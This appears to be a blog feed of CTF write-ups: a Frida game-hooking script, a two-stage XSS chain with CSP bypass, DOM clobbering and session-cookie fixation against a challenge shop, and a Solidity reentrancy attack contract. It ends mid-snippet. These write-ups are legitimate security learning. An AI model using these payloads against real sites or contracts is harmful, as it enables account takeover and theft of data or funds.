<p>I choose the <code class="language-plaintext highlighter-rouge">GameOver</code> method on the <code class="language-plaintext highlighter-rouge">Game</code> class since I know how I could trigger a call to it and tried to hook it, similar to how I tried it with the other methods before and this time it worked.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// agent.js</span>
<span class="kd">var</span> <span class="nx">baseAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">findBaseAddress</span><span class="p">(</span><span class="dl">'</span><span class="s1">GameAssembly.dll</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">GameAssembly.dll baseAddr: </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">baseAddr</span><span class="p">)</span>
<span class="kd">var</span> <span class="nx">game_over</span> <span class="o">=</span> <span class="nx">resolveAddress</span><span class="p">(</span><span class="dl">'</span><span class="s1">0x6E7000</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">game_over</span><span class="p">,</span> <span class="p">{</span>
<span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">game</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="nx">ptr</span><span class="p">(</span><span class="nx">game</span><span class="p">).</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x68</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">().</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x30</span><span class="p">).</span><span class="nx">writeInt</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">spawn</span><span class="dl">'</span><span class="p">,</span> <span class="nx">ptr</span><span class="p">(</span><span class="nx">game</span><span class="p">).</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x68</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">().</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x30</span><span class="p">).</span><span class="nx">readInt</span><span class="p">())</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="kd">function</span> <span class="nx">resolveAddress</span><span class="p">(</span><span class="nx">offset</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">baseAddr</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">offset</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This snippet does a few things:</p>
<ol>
<li>Find the base address for the <code class="language-plaintext highlighter-rouge">GameAssembly.dll</code></li>
<li>Compute the address for the <code class="language-plaintext highlighter-rouge">Game::GameOver()</code> method</li>
<li>Hook the <code class="language-plaintext highlighter-rouge">Game::GameOver()</code> method. Once it gets called, use the first argument which is a reference to the <code class="language-plaintext highlighter-rouge">Game</code> object to find the address of the <code class="language-plaintext highlighter-rouge">Spawner::spawnEnemies</code> attribute and set it to <code class="language-plaintext highlighter-rouge">false</code></li>
</ol>
<p>This successfully prevented enemies from spawning and I could collect all the flag chars without hitting any obstacles.</p>
<p>To inject the script into the game a bit of Frida boilerplate in python is required, this is the script that I used:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">codecs</span>
<span class="kn">import</span> <span class="nn">frida</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="n">target_process</span><span class="p">):</span>
<span class="n">session</span> <span class="o">=</span> <span class="n">frida</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">target_process</span><span class="p">)</span>
<span class="k">with</span> <span class="n">codecs</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">'./agent.js'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">,</span> <span class="s">'utf-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">source</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">script</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">create_script</span><span class="p">(</span><span class="n">source</span><span class="p">)</span>
<span class="n">script</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdin</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">session</span><span class="p">.</span><span class="n">detach</span><span class="p">()</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Usage: %s <process name or PID>"</span> <span class="o">%</span> <span class="n">__file__</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">target_process</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="k">except</span> <span class="nb">ValueError</span><span class="p">:</span>
<span class="n">target_process</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">main</span><span class="p">(</span><span class="n">target_process</span><span class="p">)</span>
</code></pre></div></div>Martin WagnerAfter enjoying last year’s Cyber Security Rumble CTF I rejoined the competition this year together with some friends from KITCTF. I had a lot of fun and I plan to participate again next year. These are a few of the challenges I solved during the weekend.CSCG 2020: Xmas Shopping Site2020-06-28T00:00:00+02:002020-06-28T00:00:00+02:00/xmas-store<p>Like a few other members of <a href="https://kitctf.de">KITCTF</a> I participated in the 2020 Cyber Security Challenge Germany Qualification. This is a writeup for “Xmas Shopping Site”, one of the three web challenges that were part of the CTF.</p>
<h2 id="overview">Overview</h2>
<p>We are given a link to an online shop at <code class="language-plaintext highlighter-rouge">http://xss.allesctf.net/</code>. The subdomain already seems to be a hint that this is a client-side channel.</p>
<p><img src="/imgs/cscg20-xmas-1.png" alt="website screenshot" /></p>
<p>The site allows filtering the items using a search bar and adding items to our cart. In addition to this we can submit links for the admin to check and there is a link to “Stage2”:</p>
<p><img src="/imgs/cscg20-xmas-2.png" alt="stage2 screenshot" /></p>
<p>The link looks like this <code class="language-plaintext highlighter-rouge">http://stage2.xss.allesctf.net/?token=5ef8ecee6a1ef</code> and if we change the token we can’t open the stage2 page.</p>
<p>Besides the “change background” button in the top right corner, this page is completely static.</p>
<h2 id="exploiting-stage-1">Exploiting stage 1</h2>
<p>The search form is not escaping HTML inputs at all and also includes the search term into the page:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><b></span>"<span class="nt"><script></span><span class="nx">alert</span><span class="p">(</span><span class="dl">'</span><span class="s1">test</span><span class="dl">'</span><span class="p">)</span><span class="nt"></script></span>"<span class="nt"></b></span> konnte nicht gefunden werden 🙁🙁🙁
</code></pre></div></div>
<p>This isn’t directly exploitable because of the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP header</a> of the page includes <code class="language-plaintext highlighter-rouge">default-src 'self' http://*.xss.allesctf.net;</code> which prevents script tags from being executed if they aren’t manually whitelisted in the CSP.</p>
<p>If we look at other resources loaded by the page we can see a call to <code class="language-plaintext highlighter-rouge">/items.php?cb=parseItems</code>. Assuming <code class="language-plaintext highlighter-rouge">cb</code> is short for callback this looks like a <a href="https://en.wikipedia.org/wiki/JSONP">JSONP</a> request. The response to this request looks like this</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">parseItems</span><span class="p">([{</span><span class="dl">"</span><span class="s2">title</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">...</span><span class="dl">"</span><span class="p">}])</span>
</code></pre></div></div>
<p>which confirms our assumtion. We can combine this with the inital HTML injection vulnerability we found earlier to get a full XSS vulnerability:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script </span><span class="na">src=</span><span class="s">"/items.php?cb=alert('test')"</span><span class="nt">></script></span>
</code></pre></div></div>
<p>This is allowed by the CSP since we don’t add the javascript code directly to the dom but load it from the whitelisted <code class="language-plaintext highlighter-rouge">xss.allesctf.net</code> domain.</p>
<h2 id="exploring-stage-2">Exploring stage 2</h2>
<p>I assumed that with full code execution on stage 1 it should be easy to redirect the user to the second stage. Ignoring the token parameter and all potential problems I started to explore stage 2 independently from the previous one. Since the background change is the only dynamic element on the second stage I took a closer look at it.</p>
<p>The currently selected background theme is set as a hidden input element:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- set bg color --></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">id=</span><span class="s">"bg"</span> <span class="na">value=</span><span class="s">"tree"</span><span class="nt">></span>
<span class="nt"><script </span><span class="na">nonce=</span><span class="s">"vGXr3XcAC1g67ZaCzeAvTCzPoHc="</span><span class="nt">></span>
<span class="kd">var</span> <span class="nx">backgrounds</span> <span class="o">=</span> <span class="p">{</span>
<span class="dl">'</span><span class="s1">red</span><span class="dl">'</span><span class="p">:</span> <span class="p">[</span>
<span class="dl">'</span><span class="s1"><img class="bg-img" src="/static/img/red.png"></img></span><span class="dl">'</span>
<span class="p">],</span>
<span class="dl">'</span><span class="s1">green</span><span class="dl">'</span><span class="p">:</span> <span class="p">[</span>
<span class="dl">'</span><span class="s1"><img class="bg-img" src="/static/img/green.png"></img></span><span class="dl">'</span>
<span class="p">],</span>
<span class="dl">'</span><span class="s1">tree</span><span class="dl">'</span><span class="p">:</span> <span class="p">[</span>
<span class="dl">'</span><span class="s1"><img class="bg-img" src="/static/img/tree.png"></img></span><span class="dl">'</span>
<span class="p">]</span>
<span class="p">}</span>
<span class="nt"></script></span>
[...]
<span class="c"><!-- What is CORS? Baby don't hurt me, don't hurt me - no more! --></span>
<span class="nt"><b></span>CSCG{XSS_THE_ADMIN_FOR_THE_REAL_FLAG:>}<span class="nt"></b></span>
</code></pre></div></div>
<p>This value is read in the <code class="language-plaintext highlighter-rouge">background.js</code> script and the corresponding element gets added to the dom:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">$</span><span class="p">(</span><span class="nb">document</span><span class="p">).</span><span class="nx">ready</span><span class="p">(()</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">).</span><span class="nx">append</span><span class="p">(</span><span class="nx">backgrounds</span><span class="p">[</span><span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">#bg</span><span class="dl">"</span><span class="p">).</span><span class="nx">val</span><span class="p">()]);</span>
<span class="p">});</span>
</code></pre></div></div>
<p>To change the background image a post request including the <code class="language-plaintext highlighter-rouge">bg</code> parameter is sent to the stage2 endpoint.</p>
<h2 id="exploiting-stage2">Exploiting stage2</h2>
<p>We can set our own <code class="language-plaintext highlighter-rouge">bg</code> value by sending a post request to stage2. Like the search input in stage1 the <code class="language-plaintext highlighter-rouge">bg</code> value is not getting validated or escaped by the application. As a result we can modify the DOM of the page by setting a background like this:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>beginngin of our injection"> <span class="nt"><b></span>some new tags<span class="nt"></b></span> <span class="c"><!-- end of our injection
</span></code></pre></div></div>
<p>The resulting DOM looks like this:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">id=</span><span class="s">"bg"</span> <span class="na">value=</span><span class="s">"beginngin of our injection"</span><span class="nt">></span> <span class="nt"><b></span>some new tags<span class="nt"></b></span> <span class="c"><!-- end of our injection">
<script>
[...]
<!-- What is CORS? Baby don't hurt me, don't hurt me - no more! --></span>
<span class="nt"><b></span>CSCG{XSS_THE_ADMIN_FOR_THE_REAL_FLAG:>}<span class="nt"></b></span>
</code></pre></div></div>
<p>Stage 2 also has a CSP set that prevents us from using direclty executing code. In addtion to that it also prevents us from using the gadget we found in the previous stage to inject a script tag. But we can include a starting HTML comment tag to remove everything between the hidden input and the flag. Using a less known javascript features we can also create our own <code class="language-plaintext highlighter-rouge">backgrounds</code> array and include our own code that way:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>innerHTML"><span class="nt"><div</span> <span class="na">id=</span><span class="s">"backgrounds"</span><span class="nt">><script></span><span class="nx">alert</span><span class="p">(</span><span class="dl">'</span><span class="s1">test</span><span class="dl">'</span><span class="p">)</span><span class="nt"></script></div></span> <span class="c"><!--
</span></code></pre></div></div>
<p>This achieves three things:</p>
<ul>
<li>Set the value of the <code class="language-plaintext highlighter-rouge">bg</code> input to <code class="language-plaintext highlighter-rouge">innerHTML</code></li>
<li>Create a new div with the id <code class="language-plaintext highlighter-rouge">backgrounds</code> and some javascript as content</li>
<li>Start an HTML comment so everything until the comment is closed by the existing comment tag gets ignored by the browser</li>
</ul>
<p>DOM elements that have an <code class="language-plaintext highlighter-rouge">id</code> attribute are available as global variables within javascript. So this</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// $("#bg").val() returns innerHTML since thats what we set the input to</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">).</span><span class="nx">append</span><span class="p">(</span><span class="nx">backgrounds</span><span class="p">[</span><span class="dl">'</span><span class="s1">innerHTML</span><span class="dl">'</span><span class="p">]);</span> <span class="c1">// similar to backgrounds.innerHTML</span>
</code></pre></div></div>
<p>appends the script we place in our div to the DOM. Because <code class="language-plaintext highlighter-rouge">background.js</code> is whitelisted in the CSP it is also allowed to create new script tags. This allows us to bypass the CSP and execute arbitrary javascript.</p>
<h2 id="combining-the-two">Combining the two</h2>
<p>Completing the challenge with this information is quite simple</p>
<ul>
<li>Send the admin a link to stage one with a malicious search parameter</li>
<li>Use the code execution in stage1 to store the stage2 exploit in the admin’s <code class="language-plaintext highlighter-rouge">bg</code> value</li>
<li>Redirect the admin to stage2, the second exploit starts</li>
<li>Read the flag and redirect the admin to a domain controlled by you. Include the flag in the URL</li>
<li>Profit!</li>
</ul>
<p>This is not what I did during the CTF :D Instead of storing the stage 2 payload in the admin’s session during stage 1, I stored it in my own session. My stage 1 exploit places a new session cookie in the admin’s browser so they “see” my malicious background when he visits stage 2:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// cookie and token are replaced with values from my session</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">PHPSESSID=${cookie};domain=.xss.allesctf.net;path=/index.php</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="o">=</span><span class="dl">'</span><span class="s1">http://stage2.xss.allesctf.net/index.php?token=${token}
</span></code></pre></div></div>
<p>This was a bit tricky since the session cookie has the <code class="language-plaintext highlighter-rouge">httpOnly</code> flag set so we can’t modify it. This code sets a new cookie but with an path that is longer than the one by the default session cookie (<code class="language-plaintext highlighter-rouge">/index.php</code> vs <code class="language-plaintext highlighter-rouge">/</code>). As a result the browser preferse my cookie when the admin visits stage2.</p>
<p>The stage2 does not simply redirect the admin either, Instead I store the flag as new <code class="language-plaintext highlighter-rouge">bg</code> session value. Since the admin and I share a session I can retrieve the value in my browser:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nnerHTML"> <span class="nt"><div</span> <span class="na">id=</span><span class="s">"backgrounds"</span><span class="nt">><script></span><span class="nx">fetch</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">,</span> <span class="p">{</span>
<span class="na">headers</span><span class="p">:</span> <span class="p">{</span><span class="dl">'</span><span class="s1">Content-type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span><span class="p">},</span>
<span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
<span class="na">credentials</span><span class="p">:</span> <span class="dl">"</span><span class="s2">include</span><span class="dl">"</span><span class="p">,</span>
<span class="na">body</span><span class="p">:</span> <span class="dl">'</span><span class="s1">bg=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">b</span><span class="dl">'</span><span class="p">).</span><span class="nx">text</span><span class="p">()</span>
<span class="p">});</span><span class="nt"></script></span>
<span class="nt"></div></span> <span class="c"><!-- a
</span></code></pre></div></div>
<h2 id="final-words">Final words</h2>
<p>I’m always happy to see a client side web challenge and this was a really nice one. And once again I learned that I have to think simpler from time to time</p>mawaluLike a few other members of KITCTF I participated in the 2020 Cyber Security Challenge Germany Qualification. This is a writeup for “Xmas Shopping Site”, one of the three web challenges that were part of the CTF.35c3 junior CTF writeup2019-01-01T00:00:00+01:002019-01-01T00:00:00+01:00/35c3ctf-writeup<p>I visited the 35c3 again this year and for the first time decided to participate in the c3 CTF with three friends. We decided that the junior version is better suited for our skill level. Now that I’m back home and well rested I want to write down some solutions.</p>
<h2 id="entrance-of-course-ethereum">Entrance (“Of course”, Ethereum)</h2>
<p>In this challenge we are presented with an Ethereum smart contract on the ropsten testnet. Users can register with the contract, get an initial 10 point balance and can call a gambling method.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">pragma</span> <span class="nx">solidity</span> <span class="o">>=</span><span class="mf">0.4</span><span class="p">.</span><span class="mi">21</span> <span class="o"><</span><span class="mf">0.6</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
<span class="k">import</span> <span class="dl">"</span><span class="s2">./SafeMath.sol</span><span class="dl">"</span><span class="p">;</span>
<span class="nx">contract</span> <span class="nx">Entrance</span> <span class="p">{</span>
<span class="nx">using</span> <span class="nx">SafeMath</span> <span class="k">for</span> <span class="o">*</span><span class="p">;</span>
<span class="nx">mapping</span><span class="p">(</span><span class="nx">address</span> <span class="o">=></span> <span class="nx">uint256</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">balances</span><span class="p">;</span>
<span class="nx">mapping</span><span class="p">(</span><span class="nx">address</span> <span class="o">=></span> <span class="nx">bool</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">has_played</span><span class="p">;</span>
<span class="nx">uint256</span> <span class="nx">pin</span><span class="p">;</span>
<span class="nx">event</span> <span class="nx">EntranceFlag</span><span class="p">(</span><span class="nx">string</span> <span class="nx">server</span><span class="p">,</span> <span class="nx">string</span> <span class="nx">port</span><span class="p">);</span>
<span class="nx">modifier</span> <span class="nx">legit</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_pin</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">_pin</span> <span class="o">==</span> <span class="nx">pin</span><span class="p">)</span> <span class="nx">_</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">modifier</span> <span class="nx">onlyNewPlayer</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">has_played</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">==</span> <span class="kc">false</span><span class="p">)</span> <span class="nx">_</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">constructor</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_pin</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">pin</span> <span class="o">=</span> <span class="nx">_pin</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">enter</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_pin</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">legit</span><span class="p">(</span><span class="nx">_pin</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
<span class="nx">has_played</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">balanceOf</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_who</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">view</span> <span class="nx">returns</span> <span class="p">(</span><span class="nx">uint256</span> <span class="nx">balance</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_who</span><span class="p">];</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">gamble</span><span class="p">()</span> <span class="kr">public</span> <span class="nx">onlyNewPlayer</span> <span class="p">{</span>
<span class="nx">require</span> <span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">>=</span> <span class="mi">10</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="nx">block</span><span class="p">.</span><span class="nx">number</span><span class="p">).</span><span class="nx">mod</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">].</span><span class="nx">add</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
<span class="c1">// Tell the sender he won!</span>
<span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="dl">"</span><span class="s2">You won!</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">has_played</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">].</span><span class="nx">sub</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">getFlag</span><span class="p">(</span><span class="nx">string</span> <span class="nx">memory</span> <span class="nx">_server</span><span class="p">,</span> <span class="nx">string</span> <span class="nx">memory</span> <span class="nx">_port</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">require</span> <span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">></span> <span class="mi">300</span><span class="p">);</span>
<span class="nx">emit</span> <span class="nx">EntranceFlag</span><span class="p">(</span><span class="nx">_server</span><span class="p">,</span> <span class="nx">_port</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Once we have over 300 points we can request the flag. This requires circumventing multiple guards:</p>
<ul>
<li>To register with the contract we need to know a pin</li>
<li>It is required to have 10 points to participate in the gamble (not a real problem since we get them when registering)</li>
<li>The contract remembers who already played and every address is only allowed to participate once</li>
<li>We have to actually win the gamble: the block number with our transaction has to be dividable by 7.</li>
</ul>
<p>The pin was set during the contract creation as a constructor argument in this <a href="https://ropsten.etherscan.io/address/0x1898ed72826befa2d549004c57f048a95ae0b982#code">transaction</a> and can easily be obtained.</p>
<p>Being able to only participate once seems like a bigger problem at first. The solution lies in the <code class="language-plaintext highlighter-rouge">msg.sender.call("You won!");</code> line: the <code class="language-plaintext highlighter-rouge">call()</code> function executes the default function on the sender if one exists. This isn’t the case for a normal address but possibly for a smart contract. If we call Entrance from our own smart contract the code execution is jumping back to our contract during this call and we can execute more code between the balance update and the moment where our address is marked as <code class="language-plaintext highlighter-rouge">has_played</code>. In this code we can call the gamble function again and get another 10 points before <code class="language-plaintext highlighter-rouge">call()</code> is executed again. The following code exploits this bug until it has enough points to request the flag:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">pragma</span> <span class="nx">solidity</span> <span class="o">>=</span><span class="mf">0.4</span><span class="p">.</span><span class="mi">21</span> <span class="o"><</span><span class="mf">0.6</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
<span class="k">import</span> <span class="dl">"</span><span class="s2">./SafeMath.sol</span><span class="dl">"</span><span class="p">;</span>
<span class="k">import</span> <span class="dl">"</span><span class="s2">./Entrance.sol</span><span class="dl">"</span><span class="p">;</span>
<span class="nx">contract</span> <span class="nx">Attack</span> <span class="p">{</span>
<span class="nx">using</span> <span class="nx">SafeMath</span> <span class="k">for</span> <span class="o">*</span><span class="p">;</span>
<span class="nx">Entrance</span> <span class="nx">victim</span><span class="p">;</span>
<span class="nx">uint</span> <span class="kr">public</span> <span class="nx">counter</span><span class="p">;</span>
<span class="nx">event</span> <span class="nx">LogFallback</span><span class="p">(</span><span class="nx">uint</span> <span class="nx">count</span><span class="p">);</span>
<span class="nx">event</span> <span class="nx">LoosingNumber</span><span class="p">();</span>
<span class="kd">function</span> <span class="nx">prepare</span> <span class="p">(</span><span class="nx">address</span> <span class="nx">v</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">victim</span> <span class="o">=</span> <span class="nx">Entrance</span><span class="p">(</span><span class="nx">v</span><span class="p">);</span>
<span class="nx">victim</span><span class="p">.</span><span class="nx">enter</span><span class="p">(</span><span class="mi">12341111</span><span class="p">);</span> <span class="c1">// register using the extracted pin</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">attack</span> <span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="nx">block</span><span class="p">.</span><span class="nx">number</span><span class="p">).</span><span class="nx">mod</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// only start the attack if we are in a winning block</span>
<span class="nx">victim</span><span class="p">.</span><span class="nx">gamble</span><span class="p">();</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">emit</span> <span class="nx">LoosingNumber</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">flag</span> <span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">victim</span><span class="p">.</span><span class="nx">getFlag</span><span class="p">(</span><span class="dl">"</span><span class="s2">my_host_to_recieve_the_flag</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">1337</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="p">()</span> <span class="nx">payable</span> <span class="p">{</span>
<span class="nx">counter</span><span class="o">++</span><span class="p">;</span>
<span class="nx">emit</span> <span class="nx">LogFallback</span><span class="p">(</span><span class="nx">counter</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">counter</span> <span class="o"><</span> <span class="mi">30</span><span class="p">)</span> <span class="nx">victim</span><span class="p">.</span><span class="nx">gamble</span><span class="p">();</span> <span class="c1">// we have 10 points by default so after 30 runs the balance is 310 > 300</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>It took a few tries to call the <code class="language-plaintext highlighter-rouge">attack()</code> function on a winning block, that’s why I implemented a check before actually entering the gamble.</p>
<h2 id="ultra-secret-misc">ultra secret (misc)</h2>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">password</span> <span class="o">=</span> <span class="nn">String</span><span class="p">::</span><span class="nf">new</span><span class="p">();</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">flag</span> <span class="o">=</span> <span class="nn">String</span><span class="p">::</span><span class="nf">new</span><span class="p">();</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">let</span> <span class="n">stdin</span> <span class="o">=</span> <span class="nn">io</span><span class="p">::</span><span class="nf">stdin</span><span class="p">();</span>
